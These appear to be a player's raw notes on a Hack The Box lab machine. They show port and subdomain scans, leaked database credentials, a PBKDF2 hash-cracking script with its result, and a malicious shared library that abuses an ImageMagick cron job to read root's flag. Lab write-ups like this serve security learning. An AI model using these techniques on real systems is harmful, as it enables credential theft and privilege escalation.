nmap 10.129.204.19 -T5 -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 20:18 EET
Nmap scan report for 10.129.204.19
Host is up (0.056s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Aggressive OS guesses: Linux 5.0 (99%), Linux 5.0 - 5.4 (95%), HP P2000 G3 NAS device (93%), Linux 4.15 - 5.8 (93%), Linux 5.3 - 5.4 (93%), Linux 2.6.32 (92%), Linux 2.6.32 - 3.1 (92%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (92%), Linux 3.7 (92%), Linux 5.0 - 5.5 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT      ADDRESS
1   62.31 ms 10.10.14.1
2   58.83 ms 10.129.204.19

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.21 seconds

┌──(mcshoothy㉿._.)-[~/…/HTB/machines/ranked/titanic]
└─$ ffuf -w /usr/share/wordlists/wfuzz/DNS/subdomains-top1million-5000.txt  -u "http://FUZZ.titanic.htb" -t 100

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://FUZZ.titanic.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/wfuzz/DNS/subdomains-top1million-5000.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 81ms]
:: Progress: [9985/9985] :: Job [1/1] :: 7692 req/sec ::

version: '3.8'

services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always

version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

import binascii
import hashlib
import concurrent.futures
from colorama import Fore, Style, init
import sys
import time
import argparse

# Initialize colorama
init(autoreset=True)

def pbkdf2_hash(password: str, salt: bytes, iterations: int = 50000, dklen: int = 50) -> bytes:
    """
    Generate a PBKDF2-HMAC-SHA256 hash of the given password using the specified salt and iterations.
    """
    return hashlib.pbkdf2_hmac(
        'sha256',
        password.encode('utf-8'),
        salt,
        iterations,
        dklen
    )

def check_password(password: str, salt: bytes, target_hash_bytes: bytes, iterations: int, dklen: int, count: int) -> str:
    """
    Check if the given password matches the target hash.
    """
    hash_value = pbkdf2_hash(password, salt, iterations, dklen)
    sys.stdout.write(f"\r{Fore.CYAN}Checking password {count}: {password}  ")
    sys.stdout.flush()

    if hash_value == target_hash_bytes:
        sys.stdout.write(f"\n{Fore.GREEN}Found matching password: {password}{Style.RESET_ALL}\n")
        return password
    return None

def find_matching_password(dictionary_file: str, target_hash: str, salt: bytes, iterations: int = 50000, dklen: int = 50) -> str:
    """
    Try to find a password in the dictionary that matches the given target hash using multithreading.
    """
    target_hash_bytes = binascii.unhexlify(target_hash)
    found_password = None

    with open(dictionary_file, 'r', encoding='utf-8') as file:
        # Start multithreading pool to process passwords concurrently
        with concurrent.futures.ThreadPoolExecutor() as executor:
            futures = []
            for count, line in enumerate(file, start=1):
                password = line.strip()
                futures.append(executor.submit(check_password, password, salt, target_hash_bytes, iterations, dklen, count))

            # Wait for results and process
            for future in concurrent.futures.as_completed(futures):
                result = future.result()
                if result:
                    found_password = result
                    break

    if found_password is None:
        sys.stdout.write(f"{Fore.RED}Password not found.\n")
    return found_password

# Argument parsing for dynamic input
def parse_arguments():
    parser = argparse.ArgumentParser(description="PBKDF2 hash cracker")
    parser.add_argument("dictionary_file", help="Path to the dictionary (wordlist) file.")
    parser.add_argument("target_hash", help="The target PBKDF2 hash to crack.")
    parser.add_argument("salt", help="The salt used in the PBKDF2 hash.")
    parser.add_argument("--iterations", type=int, default=50000, help="Number of PBKDF2 iterations (default: 50000).")
    parser.add_argument("--dklen", type=int, default=50, help="Length of the derived key (default: 50).")

    return parser.parse_args()

# Example usage
if __name__ == "__main__":
    # Parse command-line arguments
    args = parse_arguments()

    # Convert the salt from hex to bytes
    salt = binascii.unhexlify(args.salt)

    print(f"{Fore.YELLOW}Starting password search...\n")
    start_time = time.time()
    found_password = find_matching_password(args.dictionary_file, args.target_hash, salt, args.iterations, args.dklen)
    end_time = time.time()

    if found_password:
        print(f"{Fore.GREEN}Password found: {found_password}")
    print(f"{Fore.WHITE}Search completed in {end_time - start_time:.2f} seconds.")

python newscirpt.py /usr/share/wordlists/rockyou.txt e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56 8bf3e3452b78544f8bee9400d6936d34 --iterations 50000
Starting password search...

Checking password 5623: 25282528
Found matching password: 25282528

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" |
xargs /usr/bin/magick identify >> metadata.log

developer@titanic:/opt/scripts$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
 system("cat /root/root.txt > /home/developer/root.txt");
 exit(0);
}
EOF

cp home.jpg 1.jpg